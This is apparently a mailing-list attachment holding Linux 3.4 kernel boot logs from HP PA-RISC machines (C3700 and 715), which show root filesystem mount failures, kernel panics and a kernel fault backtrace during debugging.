EXT3-fs (sda3): error: unable to read superblock
attempt to access beyond end of device
sda3: rw=0, want=4, limit=2
EXT2-fs (sda3): error: unable to read superblock
swapper: sending ioctl 5310 to a partition!
swapper: sending ioctl 5310 to a partition!
attempt to access beyond end of device
sda3: rw=0, want=66, limit=2
isofs_fill_super: bread failed, dev=sda3, iso_blknum=16, block=32
List of all partitions:
0b00         1048575 sr0  driver: sr
0800         2097342 sda  driver: sd
  0801           32098 sda1 00000000-0000-0000-0000-000000000000
  0802          128520 sda2 00000000-0000-0000-0000-000000000000
  0803               1 sda3 00000000-0000-0000-0000-000000000000
  0805         1791216 sda5 00000000-0000-0000-0000-000000000000
  0806          144553 sda6 00000000-0000-0000-0000-000000000000
No filesystem could mount root, tried:  ext3 ext2 vfat iso9660
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,3)
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<101149dc>] panic+0xd4/0x28c
 [<107a292c>] mount_block_root+0x254/0x28c
 [<107a2a10>] mount_root+0xac/0x138
 [<107a2b38>] prepare_namespace+0x9c/0x1f4
 [<107a1b28>] kernel_init+0x214/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24


--------------000702020506000603020803
Content-Type: text/plain;
 name="c3000.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="c3000.log"

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... 
This box can boot either 32 or 64-bit kernels...Only see a 32-bit kernel, using thatELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6647808 mediaptr 0x1000
Segment 1 load 007a0000 size 185472 mediaptr 0x658000
Segment 2 load 007ce000 size 145080 mediaptr 0x686000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc6-32bit+ (deller@p100) (gcc version 4.3.3 (GCC) ) #7 Sat May 12 22:55:41 CEST 2012
unwind_init: start = 0x106a8000, end = 0x106ebdc0, entries = 17372
WARNING: Out of order unwind entry! 106a95c0 and 106a95d0
WARNING: Out of order unwind entry! 106a95d0 and 106a95e0
WARNING: Out of order unwind entry! 106aa090 and 106aa0a0
WARNING: Out of order unwind entry! 106aa0a0 and 106aa0b0
WARNING: Out of order unwind entry! 106aa110 and 106aa120
WARNING: Out of order unwind entry! 106aa120 and 106aa130
WARNING: Out of order unwind entry! 106aa140 and 106aa150
WARNING: Out of order unwind entry! 106aa150 and 106aa160
WARNING: Out of order unwind entry! 106aa160 and 106aa170
WARNING: Out of order unwind entry! 106aa170 and 106aa180
WARNING: Out of order unwind entry! 106aa180 and 106aa190
WARNING: Out of order unwind entry! 106aa190 and 106aa1a0
WARNING: Out of order unwind entry! 106aa1a0 and 106aa1b0
WARNING: Out of order unwind entry! 106aa1b0 and 106aa1c0
WARNING: Out of order unwind entry! 106aa1c0 and 106aa1d0
WARNING: Out of order unwind entry! 106aa1d0 and 106aa1e0
WARNING: Out of order unwind entry! 106aa1e0 and 106aa1f0
WARNING: Out of order unwind entry! 106aa1f0 and 106aa200
WARNING: Out of order unwind entry! 106aa210 and 106aa220
WARNING: Out of order unwind entry! 106aa220 and 106aa230
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
Kernel command line: HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 2, 16384 bytes)
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
allocated 4194304 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 2065788k/2097152k available (4505k kernel code, 31364k reserved, 1964k data, 328k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x90000000   (2048 MB)
      .init : 0x107a0000 - 0x107f2000   ( 328 kB)
      .data : 0x10566690 - 0x107517b0   (1964 kB)
      .text : 0x10100000 - 0x10566690   (4505 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :  1808.800 MB/sec
   8regs_prefetch:  1727.600 MB/sec
   32regs    :  1444.800 MB/sec
   32regs_prefetch:  1431.200 MB/sec
xor: using function: 8regs (1808.800 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to a20 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xf2000000-0xf23fffff]
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xf6000000-0xf6ffffff]
pci_bus 0000:01: root bus resource [mem 0xf2400000-0xf27fffff]
pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
pci 0000:01:06.0: PCI bridge to [bus 02-ff]
pci 0000:01:06.0: can't handle 64-bit address space for bridge
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: device not available (can't reserve [mem 0xf9000000-0xfbffffff])
pci 0000:01:06.0: Error enabling bridge (-22), continuing
Elroy version TR4.0 (0x5) found at 0xfed38000
LBA 10:4: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
pci_bus 0000:03: root bus resource [mem 0xf3000000-0xf33fffff]
Elroy version TR4.0 (0x5) found at 0xfed3c000
LBA 10:6: PCI host bridge to bus 0000:04
pci_bus 0000:04: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
pci_bus 0000:04: root bus resource [mem 0xf4000000-0xf5ffffff]
pci_bus 0000:04: root bus resource [mem 0xf3800000-0xf3bfffff]
iosapic: hpa not registered for 0000:04:02.0
powersw: Soft power switch at 0xf0400804 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1    434 MB/s
raid6: int32x2    499 MB/s
raid6: int32x4    530 MB/s
raid6: int32x8    404 MB/s
raid6: using algorithm int32x4 (530 MB/s)
vgaarb: device added: PCI:0000:02:00.0,decodes=io+mem,owns=none,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:02:00.0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 6, 262144 bytes)
TCP established hash table entries: 262144 (order: 9, 2097152 bytes)
TCP bind hash table entries: 65536 (order: 8, 1310720 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP: reno registered
UDP hash table entries: 1024 (order: 3, 49152 bytes)
UDP-Lite hash table entries: 1024 (order: 3, 49152 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181098>] backtrace_regression_test+0x50/0x130
 [<10118eac>] do_one_initcall+0x54/0x284
 [<107a1abc>] kernel_init+0x1a8/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181028>] backtrace_test_irq_callback+0x18/0x38
 [<1013b96c>] tasklet_action+0x80/0xe4
 [<1018ffc0>] rcu_process_callbacks+0x30/0x40
 [<1013c2e0>] __do_softirq+0x148/0x198
 [<1013c39c>] run_ksoftirqd+0x6c/0x120
 [<101174bc>] schedule+0x30/0x74
 [<101546f4>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<10124bd4>] save_stack_trace+0x28/0x60
 [<10181140>] backtrace_regression_test+0xf8/0x130
 [<10118eac>] do_one_initcall+0x54/0x284
 [<107a1abc>] kernel_init+0x1a8/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 4034
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
sti 0000:01:04.0: device not available (can't reserve [mem 0xf6000000-0xf7ffffff])
sti 0000:01:04.0: Cannot enable PCI device
sti: probe of 0000:01:04.0 failed with error -22
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f4000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
matroxfb 0000:02:00.0: enabling SERR and PARITY (0007 -> 0147)
matroxfb: Matrox G450 detected
PInS memtype = 4
matroxfb: cannot determine memory size
matroxfb: probe of 0000:02:00.0 failed with error -1
stifb: 'A1262A' (id: 0x35acda30) not supported.
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ns87415 0000:00:0e.0: IDE controller (0x100b:0x0002 rev 0x03)
ns87415 0000:00:0e.0: 100% native mode on irq 7
    ide0: BM-DMA at 0x0a00-0x0a07
    ide1: BM-DMA at 0x0a08-0x0a0f
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on irq 7
ide1 at 0xd00-0xd07,0xb02 on irq 7
ide-gd driver 1.18
ide-cd driver 5.00
ide-cd: hda: ATAPI 32X CD-ROM drive, 128kB Cache
cdrom: Uniform CD-ROM driver Revision: 3.20
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
scsi target1:0:5: Beginning Domain Validation
scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
scsi target1:0:5: Domain Validation skipping write tests
scsi target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
scsi target1:0:6: tagged command queuing enabled, command queue depth 16.
scsi target1:0:6: Beginning Domain Validation
scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
scsi target1:0:6: Domain Validation skipping write tests
scsi target1:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
net eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:30:6e:48:aa:64, IRQ 65
tulip1: EEPROM default media type Autosense
tulip1: Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block
tulip1: Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block
tulip1: Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101
sd 1:0:5:0: [sda] 17773524 512-byte logical blocks: (9.10 GB/8.47 GiB)
sd 1:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
net eth1: Digital DS21142/43 Tulip rev 33 at Port 0x28000, 00:60:b0:7a:12:89, IRQ 71
sd 1:0:6:0: [sdb] Write Protect is off
LASI 82596 driver - Revision: 1.30
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
sd 1:0:5:0: [sda] Write Protect is off
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI Host Controller
usb usb1: Manufacturer: Linux 3.4.0-rc6-32bit+ ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
uhci_hcd: USB Universal Host Controller Interface driver
mousedev: PS/2 mouse device common for all mice
 sdb: sdb1 sdb2 sdb3 sdb4
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
 sda: sda1 sda2 sda3 sda4
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
sd 1:0:6:0: [sdb] Attached SCSI disk
sd 1:0:5:0: [sda] Attached SCSI disk
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2012-05-12 20:57:11 UTC (1336856231)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.66
IP-Config: Complete:
     device=eth0, addr=192.168.178.66, mask=255.255.255.0, gw=192.168.178.1
     host=c3000, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda3): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
Freeing unused kernel memory: 328k freed
Backtrace:
 [<1021dc3c>] mpage_readpages+0xf0/0x16c
 [<10257e88>] ext3_readpages+0x28/0x38
 [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
 [<101acc5c>] ra_submit+0x30/0x40
 [<101acee0>] ondemand_readahead+0xd0/0x26c
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1                                                                                                                                                                         
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000                                                                                                                                                                                              
sd 1:0:5:0: [sda] Write Protect is off                                                                                                                                                                                                       
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA                                                                                                                                                           
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001                                                                                                                                                                                
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1                                                                                                                                                                           
usb usb1: Product: OHCI Host Controller                                                                                                                                                                                                      
usb usb1: Manufacturer: Linux 3.4.0-rc6-32bit+ ohci_hcd                                                                                                                                                                                      
usb usb1: SerialNumber: 0000:00:0e.2                                                                                                                                                                                                         
hub 1-0:1.0: USB hub found                                                                                                                                                                                                                   
hub 1-0:1.0: 3 ports detected                                                                                                                                                                                                                
uhci_hcd: USB Universal Host Controller Interface driver                                                                                                                                                                                     
mousedev: PS/2 mouse device common for all mice                                                                                                                                                                                              
 sdb: sdb1 sdb2 sdb3 sdb4                                                                                                                                                                                                                    
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0                                                                                                                                                                            
 sda: sda1 sda2 sda3 sda4                                                                                                                                                                                                                    
 [<101acee0>] ondemand_readahead+0xd0/0x26c                                                                                                                                                                                                  
 [<101acee0>] ondemand_readahead+0xd0/0x26c                                                                                                                                                                                                  
 [<101acee0>] ondemand_readahead+0xd0/0x26c                                                                                                                                                                                                  
 [<101ad1a8>] page_cache_sync_readahead+0x44/0x74                                                                                                                                                                                            
 [<101a38e4>] generic_file_aio_read+0x400/0x764                                                                                                                                                                                              
 [<101e243c>] do_sync_read+0xd4/0x130                                                                                                                                                                                                        
 [<101e32f4>] vfs_read+0xac/0x158                                                                                                                                                                                                            
 [<101ea47c>] kernel_read+0x40/0x5c                                                                                                                                                                                                          
 [<101ea58c>] prepare_binprm+0xf4/0x130                                                                                                                                                                                                      
 [<101eae3c>] do_execve+0x2b8/0x3a4                                                                                                                                                                                                          
 [<1012199c>] sys_execve+0x64/0x94                                                                                                                                                                                                           
 [<10104084>] __execve+0x20/0x34                                                                                                                                                                                                             
 [<1019faf8>] perf_output_begin+0x150/0x240                                                                                                                                                                                                  
 [<101a83e8>] __free_pages+0x54/0x64                                                                                                                                                                                                         
                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                             
Kernel Fault: Code=26 regs=8fc30bc0 (Addr=00000034)                                                                                                                                                                                          
                                                                                                                                                                                                                                             
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                                                                                                                                                                                        
PSW: 00000000000001101111111100001111 Not tainted                                                                                                                                                                                            
r00-03  0006ff0f 8fc30c40 1021d928 8fc30b00                                                                                                                                                                                                  
r04-07  00000001 00000001 00000001 8fc30a50                                                                                                                                                                                                  
r08-11  00000001 00000000 00000004 00000001                                                                                                                                                                                                  
r12-15  8f8024c0 0000000c 10925fa0 8f812598                                                                                                                                                                                                  
r16-19  00000013 8fc30b08 00000004 1021d324                                                                                                                                                                                                  
r20-23  8fc30a48 00060370 00000002 8f8124d8                                                                                                                                                                                                  
r24-27  70030600 00000000 00000000 106fa020                                                                                                                                                                                                  
r28-31  10645000 00000000 8fc30bc0 00000002                                                                                                                                                                                                  
sr00-03  00000000 00000000 00000000 00000000                                                                                                                                                                                                 
sr04-07  00000000 00000000 00000000 00000000                                                                                                                                                                                                 
                                                                                                                                                                                                                                             
IASQ: 00000000 00000000 IAOQ: 1021d784 1021d788                                                                                                                                                                                              
 IIR: 69330068    ISR: 00000000  IOR: 00000034                                                                                                                                                                                               
 CPU:        0   CR30: 8fc30000 CR31: d23345e2                                                                                                                                                                                               
 ORIG_R28: 8fdf2000                                                                                                                                                                                                                          
 IAOQ[0]: do_mpage_readpage+0x284/0x5d4                                                                                                                                                                                                      
 IAOQ[1]: do_mpage_readpage+0x288/0x5d4                                                                                                                                                                                                      
 RP(r2): do_mpage_readpage+0x428/0x5d4                                                                                                                                                                                                       
Backtrace:                                                                                                                                                                                                                                   
 [<1021dc3c>] mpage_readpages+0xf0/0x16c                                                                                                                                                                                                     
 [<10257e88>] ext3_readpages+0x28/0x38                                                                                                                                                                                                       
 [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c                                                                                                                                                                                          
 [<101acc5c>] ra_submit+0x30/0x40                                                                                                                                                                                                            
 [<101acee0>] ondemand_readahead+0xd0/0x26c                                                                                                                                                                                                  
 [<101ad1a8>] page_cache_sync_readahead+0x44/0x74                                                                                                                                                                                            
 [<101a38e4>] generic_file_aio_read+0x400/0x764                                                                                                                                                                                              
 [<101e243c>] do_sync_read+0xd4/0x130                                                                                                                                                                                                        
 [<101e32f4>] vfs_read+0xac/0x158                                                                                                                                                                                                            
 [<101ea47c>] kernel_read+0x40/0x5c                                                                                                                                                                                                          
 [<101ea58c>] prepare_binprm+0xf4/0x130                                                                                                                                                                                                      
 [<101eae3c>] do_execve+0x2b8/0x3a4                                                                                                                                                                                                          
 [<1012199c>] sys_execve+0x64/0x94                                                                                                                                                                                                           
 [<10104084>] __execve+0x20/0x34                                                                                                                                                                                                             
 [<1019faf8>] perf_output_begin+0x150/0x240                                                                                                                                                                                                  
 [<101a83e8>] __free_pages+0x54/0x64                                                                                                                                                                                                         
                                                                                                                                                                                                                                             
Kernel panic - not syncing: Kernel Fault   

--------------000702020506000603020803
Content-Type: text/plain;
 name="pa64.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="pa64.log"

Command line for kernel: 'HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6647808 mediaptr 0x1000
Segment 1 load 007a0000 size 185472 mediaptr 0x658000
Segment 2 load 007ce000 size 145080 mediaptr 0x686000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc6-32bit+ (deller@p100) (gcc version 4.3.3 (GCC) ) #7 Sat May 12 22:55:41 CEST 2012
unwind_init: start = 0x106a8000, end = 0x106ebdc0, entries = 17372
WARNING: Out of order unwind entry! 106a95c0 and 106a95d0
WARNING: Out of order unwind entry! 106a95d0 and 106a95e0
WARNING: Out of order unwind entry! 106aa090 and 106aa0a0
WARNING: Out of order unwind entry! 106aa0a0 and 106aa0b0
WARNING: Out of order unwind entry! 106aa110 and 106aa120
WARNING: Out of order unwind entry! 106aa120 and 106aa130
WARNING: Out of order unwind entry! 106aa140 and 106aa150
WARNING: Out of order unwind entry! 106aa150 and 106aa160
WARNING: Out of order unwind entry! 106aa160 and 106aa170
WARNING: Out of order unwind entry! 106aa170 and 106aa180
WARNING: Out of order unwind entry! 106aa180 and 106aa190
WARNING: Out of order unwind entry! 106aa190 and 106aa1a0
WARNING: Out of order unwind entry! 106aa1a0 and 106aa1b0
WARNING: Out of order unwind entry! 106aa1b0 and 106aa1c0
WARNING: Out of order unwind entry! 106aa1c0 and 106aa1d0
WARNING: Out of order unwind entry! 106aa1d0 and 106aa1e0
WARNING: Out of order unwind entry! 106aa1e0 and 106aa1f0
WARNING: Out of order unwind entry! 106aa1f0 and 106aa200
WARNING: Out of order unwind entry! 106aa210 and 106aa220
WARNING: Out of order unwind entry! 106aa220 and 106aa230
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/715
Total Memory: 160 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 40640
Kernel command line: HOME=/ root=/dev/sda5 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 1024 (order: 0, 4096 bytes)
Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
allocated 327680 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 154668k/163840k available (4505k kernel code, 9172k reserved, 1964k data, 328k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x1a000000   ( 160 MB)
      .init : 0x107a0000 - 0x107f2000   ( 328 kB)
      .data : 0x10566690 - 0x107517b0   (1964 kB)
      .text : 0x10100000 - 0x10566690   (4505 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 63.07 BogoMIPS (lpj=315392)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :    44.800 MB/sec
   8regs_prefetch:    44.400 MB/sec
   32regs    :    72.000 MB/sec
   32regs_prefetch:    71.600 MB/sec
xor: using function: 32regs (72.000 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Mirage Jr GSC Builtin Graphics at 0xf8000000 [1] { 10, 0x0, 0x012, 0x00085 }
2. Mirage Jr Core BA at 0xf0100000 [2] { 11, 0x0, 0x028, 0x00081 }
3. Mirage Jr Core SCSI at 0xf0106000 [2/0/1] { 10, 0x0, 0x028, 0x00082 }
4. Mirage Jr Core LAN (802.3) at 0xf0107000 [2/0/2] { 10, 0x0, 0x028, 0x0008a }
5. Mirage Jr Core RS-232 at 0xf0105000 [2/0/4] { 10, 0x0, 0x028, 0x0008c }
6. Mirage Jr Core Centronics at 0xf0102000 [2/0/6] { 10, 0x0, 0x028, 0x00074 }
7. Mirage Jr Audio at 0xf0104000 [2/0/8] { 10, 0x0, 0x028, 0x0007b }
8. Mirage Jr Core PC Floppy at 0xf010a000 [2/0/10] { 10, 0x0, 0x028, 0x00083 }
9. Mirage Jr Core PS/2 Port at 0xf0108000 [2/0/11] { 10, 0x0, 0x028, 0x00084 }
10. Mirage Jr Core PS/2 Port at 0xf0108100 [2/0/12] { 10, 0x0, 0x028, 0x00084 }
11. Mirage Jr Wax EISA BA at 0xfc000000 [4] { 11, 0x0, 0x028, 0x00090 }
12. Mirage Jr Wax BA at 0xf0200000 [5] { 11, 0x0, 0x012, 0x0008e }
13. Mirage Jr Wax HIL at 0xf0201000 [5/0/1] { 10, 0x0, 0x012, 0x00073 }
14. Mirage Jr Wax RS-232 at 0xf0202000 [5/0/2] { 10, 0x0, 0x012, 0x0008c }
15. Mirage Jr (715/64) at 0xfffbe000 [8] { 0, 0x0, 0x60a, 0x00004 }
16. Memory at 0xfffbf000 [9] { 1, 0x0, 0x04a, 0x00009 }
CPU(s): 1 x PA7100LC (PCX-L) at 64.000000 MHz
Setting cache flush threshold to 3e0 (1 CPUs online)
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
wax at 0xf0200000 found.
Wax EISA Adapter found at 0xfc000000
